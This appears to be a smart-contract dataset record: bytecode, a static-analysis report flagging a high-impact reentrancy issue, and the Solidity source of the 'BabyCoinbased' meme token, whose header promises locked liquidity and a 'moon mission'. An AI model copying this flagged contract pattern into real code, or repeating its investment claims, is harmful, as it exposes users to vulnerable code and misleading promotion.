a68689611fff90919063ffffffff16565b90506000611fbd8789611fff90919063ffffffff16565b90506000611fe682611fd88587611d4190919063ffffffff16565b611d4190919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156120125760009050612074565b600082846120209190612d62565b905082848261202f9190612c6f565b1461206f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206690612e2e565b60405180910390fd5b809150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156120b4578082015181840152602081019050612099565b838111156120c3576000848401525b50505050565b6000601f19601f8301169050919050565b60006120e58261207a565b6120ef8185612085565b93506120ff818560208601612096565b612108816120c9565b840191505092915050565b6000602082019050818103600083015261212d81846120da565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006121658261213a565b9050919050565b6121758161215a565b811461218057600080fd5b50565b6000813590506121928161216c565b92915050565b6000819050919050565b6121ab81612198565b81146121b657600080fd5b50565b6000813590506121c8816121a2565b92915050565b600080604083850312156121e5576121e4612135565b5b60006121f385828601612183565b9250506020612204858286016121b9565b9150509250929050565b60008115159050919050565b6122238161220e565b82525050565b600060208201905061223e600083018461221a565b92915050565b61224d81612198565b82525050565b60006020820190506122686000830184612244565b92915050565b60008060006060848603121561228757612286612135565b5b600061229586828701612183565b93505060206122a686828701612183565b92505060406122b7868287016121b9565b9150509250925092565b600060ff82169050919050565b6122d7816122c1565b82525050565b60006020820190506122f260008301846122ce565b92915050565b60006020828403121561230e5761230d612135565b5b600061231c84828501612183565b91505092915050565b61232e8161215a565b82525050565b60006020820190506123496000830184612325565b92915050565b60006020828403121561236557612364612135565b5b6000612373848285016121b9565b91505092915050565b6000806040838503121561239357612392612135565b5b60006123a185828601612183565b92505060206123b285828601612183565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006123f2602083612085565b91506123fd826123bc565b602082019050919050565b60006020820190508181036000830152612421816123e5565b9050919050565b7f52617465206d757374206265206e6f6e2d6e6567617469766500000000000000600082015250565b600061245e601983612085565b915061246982612428565b602082019050919050565b6000602082019050818103600083015261248d81612451565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006124ca601783612085565b91506124d582612494565b602082019050919050565b600060208201905081810360008301526124f9816124bd565b9050919050565b60008151905061250f8161216c565b92915050565b60006020828403121561252b5761252a612135565b5b600061253984828501612500565b91505092915050565b60006040820190506125576000830185612325565b6125646020830184612325565b9392505050565b6000819050919050565b6000819050919050565b600061259a6125956125908461256b565b612575565b612198565b9050919050565b6125aa8161257f565b82525050565b600060c0820190506125c56000830189612325565b6125d26020830188612244565b6125df60408301876125a1565b6125ec60608301866125a1565b6125f96080830185612325565b61260660a0830184612244565b979650505050505050565b600081519050612620816121a2565b92915050565b60008060006060848603121561263f5761263e612135565b5b600061264d86828701612611565b935050602061265e86828701612611565b925050604061266f86828701612611565b9150509250925092565b600060408201905061268e6000830185612325565b61269b6020830184612244565b9392505050565b6126ab8161220e565b81146126b657600080fd5b50565b6000815190506126c8816126a2565b92915050565b6000602082840312156126e4576126e3612135565b5b60006126f2848285016126b9565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612757602483612085565b9150612762826126fb565b604082019050919050565b600060208201905081810360008301526127868161274a565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006127e9602283612085565b91506127f48261278d565b604082019050919050565b60006020820190508181036000830152612818816127dc565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061287b602583612085565b91506128868261281f565b604082019050919050565b600060208201905081810360008301526128aa8161286e565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061290d602383612085565b9150612918826128b1565b604082019050919050565b6000602082019050818103600083015261293c81612900565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061299f602983612085565b91506129aa82612943565b604082019050919050565b600060208201905081810360008301526129ce81612992565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612a0f82612198565b9150612a1a83612198565b925082821015612a2d57612a2c6129d5565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612acb8161215a565b82525050565b6000612add8383612ac2565b60208301905092915050565b6000602082019050919050565b6000612b0182612a96565b612b0b8185612aa1565b9350612b1683612ab2565b8060005b83811015612b47578151612b2e8882612ad1565b9750612b3983612ae9565b925050600181019050612b1a565b5085935050505092915050565b600060a082019050612b696000830188612244565b612b7660208301876125a1565b8181036040830152612b888186612af6565b9050612b976060830185612325565b612ba46080830184612244565b9695505050505050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000612c0a602a83612085565b9150612c1582612bae565b604082019050919050565b60006020820190508181036000830152612c3981612bfd565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612c7a82612198565b9150612c8583612198565b925082612c9557612c94612c40565b5b828204905092915050565b6000612cab82612198565b9150612cb683612198565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612ceb57612cea6129d5565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612d2c601b83612085565b9150612d3782612cf6565b602082019050919050565b60006020820190508181036000830152612d5b81612d1f565b9050919050565b6000612d6d82612198565b9150612d7883612198565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612db157612db06129d5565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612e18602183612085565b9150612e2382612dbc565b604082019050919050565b60006020820190508181036000830152612e4781612e0b565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122065decdfd91818dca1bd23a3cf62f80643c2080772e36d043e03f17ab735f688a64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 6,345 |
0xace277ef884c94a4067d28f263aafcf612d8022e
|
/*
https://t.me/BabyCoinbased
╭━━╮╱╱╱╭╮╱╱╱╱╱╭━━━╮╱╱╱╱╱╱╭╮╱╱╱╱╱╱╱╱╱╱╱╱╭╮
┃╭╮┃╱╱╱┃┃╱╱╱╱╱┃╭━╮┃╱╱╱╱╱╱┃┃╱╱╱╱╱╱╱╱╱╱╱╱┃┃
┃╰╯╰┳━━┫╰━┳╮╱╭┫┃ ╰╋━━┳┳━╮┃╰━┳━━┳━━┳━━┳━╯┃
┃╭━╮┃╭╮┃╭╮┃┃ ┃┃┃ ╭┫╭╮┣┫╭╮┫╭╮┃╭╮┃━━┫┃━┫╭╮┃
┃╰━╯┃╭╮┃╰╯┃╰━╯┃╰━╯┃╰╯┃┃┃┃┃╰╯┃╭╮┣━━┃┃━┫╰╯┃
╰━━━┻╯╰┻━━┻━╮╭┻━━━┻━━┻┻╯╰┻━━┻╯╰┻━━┻━━┻━━╯
╱╱╱╱╱╱╱╱╱╱╭━╯┃
╱╱╱╱╱╱╱╱╱╱╰━━╯
Welcome to BabyCoinbased!
A BASED-BABY MOON MISSION!
Liquidity locked, ownership renounced.
* BabyCoinbased is a meme token with a twist!
* BabyCoinbased has no sale limitations, which benefits whales and minnows alike, and an innovative dynamic reflection tax rate which increases proportionate to the size of the sell.
*
* TOKENOMICS:
* 1,000,000,000,000 token supply
* FIRST TWO MINUTES: 3,000,000,000 max buy / 45-second buy cooldown (these limitations are lifted automatically two minutes post-launch)
* 15-second cooldown to sell after a buy, in order to limit bot behavior. NO OTHER COOLDOWNS, NO COOLDOWNS BETWEEN SELLS
* No buy or sell token limits. Whales are welcome!
* 10% total tax on buy
* Fee on sells is dynamic, relative to price impact, minimum of 10% fee and maximum of 40% fee, with NO SELL LIMIT.
* No team tokens, no presale
* A unique approach to resolving the huge dumps after long pumps that have plagued every NotInu fork
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BabyCoinbased is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"BabyCoinbased - t.me/BabyCoinbased";
string private constant _symbol = unicode"BABY";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 2;
uint256 private _teamFee = 8;
uint256 private _feeRate = 5;
uint256 private _feeMultiplier = 1000;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
bool private _useImpactFeeSetter = true;
uint256 private buyLimitEnd;
struct User {
uint256 buy;
uint256 sell;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function setFee(uint256 impactFee) private {
uint256 _impactFee = 10;
if(impactFee < 10) {
_impactFee = 10;
} else if(impactFee > 40) {
_impactFee = 40;
} else {
_impactFee = impactFee;
}
if(_impactFee.mod(2) != 0) {
_impactFee++;
}
_taxFee = (_impactFee.mul(2)).div(10);
_teamFee = (_impactFee.mul(8)).div(10);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
if(_cooldownEnabled) {
if(!cooldown[msg.sender].exists) {
cooldown[msg.sender] = User(0,0,true);
}
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
_taxFee = 2;
_teamFee = 8;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired.");
cooldown[to].buy = block.timestamp + (45 seconds);
}
}
if(_cooldownEnabled) {
cooldown[to].sell = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(_cooldownEnabled) {
require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired.");
}
if(_useImpactFeeSetter) {
uint256 feeBasis = amount.mul(_feeMultiplier);
feeBasis = feeBasis.div(balanceOf(uniswapV2Pair).add(amount));
setFee(feeBasis);
}
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 3000000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (120 seconds);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
// fallback in case contract is not releasing tokens fast enough
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].buy;
}
function timeToSell(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].sell;
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a914610357578063c3c8cd8014610377578063c9567bf91461038c578063db92dbb6146103a1578063dd62ed3e146103b6578063e8078d94146103fc57600080fd5b8063715018a6146102ae5780638da5cb5b146102c357806395d89b41146102eb578063a9059cbb14610318578063a985ceef1461033857600080fd5b8063313ce567116100fd578063313ce567146101fb57806345596e2e146102175780635932ead11461023957806368a3a6a5146102595780636fc3eaec1461027957806370a082311461028e57600080fd5b806306fdde0314610145578063095ea7b31461017057806318160ddd146101a057806323b872dd146101c657806327f3a72a146101e657600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5061015a610411565b6040516101679190611bed565b60405180910390f35b34801561017c57600080fd5b5061019061018b366004611b45565b610431565b6040519015158152602001610167565b3480156101ac57600080fd5b50683635c9adc5dea000005b604051908152602001610167565b3480156101d257600080fd5b506101906101e1366004611b05565b610448565b3480156101f257600080fd5b506101b86104b1565b34801561020757600080fd5b5060405160098152602001610167565b34801561022357600080fd5b50610237610232366004611ba8565b6104c1565b005b34801561024557600080fd5b50610237610254366004611b70565b61056a565b34801561026557600080fd5b506101b8610274366004611a95565b6105e9565b34801561028557600080fd5b5061023761060c565b34801561029a57600080fd5b506101b86102a9366004611a95565b610639565b3480156102ba57600080fd5b5061023761065b565b3480156102cf57600080fd5b506000546040516001600160a01b039091168152602001610167565b3480156102f757600080fd5b506040805180820190915260048152634241425960e01b602082015261015a565b34801561032457600080fd5b50610190610333366004611b45565b6106cf565b34801561034457600080fd5b50601454600160a81b900460ff16610190565b34801561036357600080fd5b506101b8610372366004611a95565b6106dc565b34801561038357600080fd5b50610237610702565b34801561039857600080fd5b50610237610738565b3480156103ad57600080fd5b506101b8610785565b3480156103c257600080fd5b506101b86103d1366004611acd565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561040857600080fd5b5061023761079d565b6060604051806060016040528060228152602001611dee60229139905090565b600061043e338484610b50565b5060015b92915050565b6000610455848484610c74565b6104a784336104a285604051806060016040528060288152602001611dc6602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611217565b610b50565b5060019392505050565b60006104bc30610639565b905090565b6011546001600160a01b0316336001600160a01b0316146104e157600080fd5b6033811061052e5760405162461bcd60e51b8152602060048201526015602482015274526174652063616e2774206578636565642035302560581b60448201526064015b60405180910390fd5b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6000546001600160a01b031633146105945760405162461bcd60e51b815260040161052590611c40565b6014805460ff60a81b1916600160a81b8315158102919091179182905560405160ff9190920416151581527f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f287069060200161055f565b6001600160a01b0381166000908152600660205260408120546104429042611d30565b6011546001600160a01b0316336001600160a01b03161461062c57600080fd5b4761063681611251565b50565b6001600160a01b038116600090815260026020526040812054610442906112d6565b6000546001600160a01b031633146106855760405162461bcd60e51b815260040161052590611c40565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061043e338484610c74565b6001600160a01b0381166000908152600660205260408120600101546104429042611d30565b6011546001600160a01b0316336001600160a01b03161461072257600080fd5b600061072d30610639565b90506106368161135a565b6000546001600160a01b031633146107625760405162461bcd60e51b815260040161052590611c40565b6014805460ff60a01b1916600160a01b179055610780426078611ce5565b601555565b6014546000906104bc906001600160a01b0316610639565b6000546001600160a01b031633146107c75760405162461bcd60e51b815260040161052590611c40565b601454600160a01b900460ff16156108215760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610525565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561085e3082683635c9adc5dea00000610b50565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561089757600080fd5b505afa1580156108ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108cf9190611ab1565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561091757600080fd5b505afa15801561092b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061094f9190611ab1565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561099757600080fd5b505af11580156109ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cf9190611ab1565b601480546001600160a01b0319166001600160a01b039283161790556013541663f305d71947306109ff81610639565b600080610a146000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a7757600080fd5b505af1158015610a8b573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab09190611bc0565b50506729a2241af62c00006010555042600d5560145460135460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b158015610b1457600080fd5b505af1158015610b28573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b4c9190611b8c565b5050565b6001600160a01b038316610bb25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610525565b6001600160a01b038216610c135760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610525565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cd85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610525565b6001600160a01b038216610d3a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610525565b60008111610d9c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610525565b6000546001600160a01b03848116911614801590610dc857506000546001600160a01b03838116911614155b156111ba57601454600160a81b900460ff1615610e48573360009081526006602052604090206002015460ff16610e4857604080516060810182526000808252602080830182815260018486018181523385526006909352949092209251835590519282019290925590516002909101805460ff19169115159190911790555b6014546001600160a01b038481169116148015610e7357506013546001600160a01b03838116911614155b8015610e9857506001600160a01b03821660009081526005602052604090205460ff16155b15610ffc57601454600160a01b900460ff16610ef65760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610525565b60026009556008600a55601454600160a81b900460ff1615610fc257426015541115610fc257601054811115610f2b57600080fd5b6001600160a01b0382166000908152600660205260409020544211610f9d5760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b6064820152608401610525565b610fa842602d611ce5565b6001600160a01b0383166000908152600660205260409020555b601454600160a81b900460ff1615610ffc57610fdf42600f611ce5565b6001600160a01b0383166000908152600660205260409020600101555b600061100730610639565b601454909150600160b01b900460ff1615801561103257506014546001600160a01b03858116911614155b80156110475750601454600160a01b900460ff165b156111b857601454600160a81b900460ff16156110d4576001600160a01b03841660009081526006602052604090206001015442116110d45760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b6064820152608401610525565b601454600160b81b900460ff16156111395760006110fd600c54846114ff90919063ffffffff16565b60145490915061112c9061112590859061111f906001600160a01b0316610639565b9061157e565b82906115dd565b90506111378161161f565b505b80156111a657600b5460145461116f916064916111699190611163906001600160a01b0316610639565b906114ff565b906115dd565b81111561119d57600b5460145461119a916064916111699190611163906001600160a01b0316610639565b90505b6111a68161135a565b4780156111b6576111b647611251565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff16806111fc57506001600160a01b03831660009081526005602052604090205460ff165b15611205575060005b6112118484848461168d565b50505050565b6000818484111561123b5760405162461bcd60e51b81526004016105259190611bed565b5060006112488486611d30565b95945050505050565b6011546001600160a01b03166108fc61126b8360026115dd565b6040518115909202916000818181858888f19350505050158015611293573d6000803e3d6000fd5b506012546001600160a01b03166108fc6112ae8360026115dd565b6040518115909202916000818181858888f19350505050158015610b4c573d6000803e3d6000fd5b600060075482111561133d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648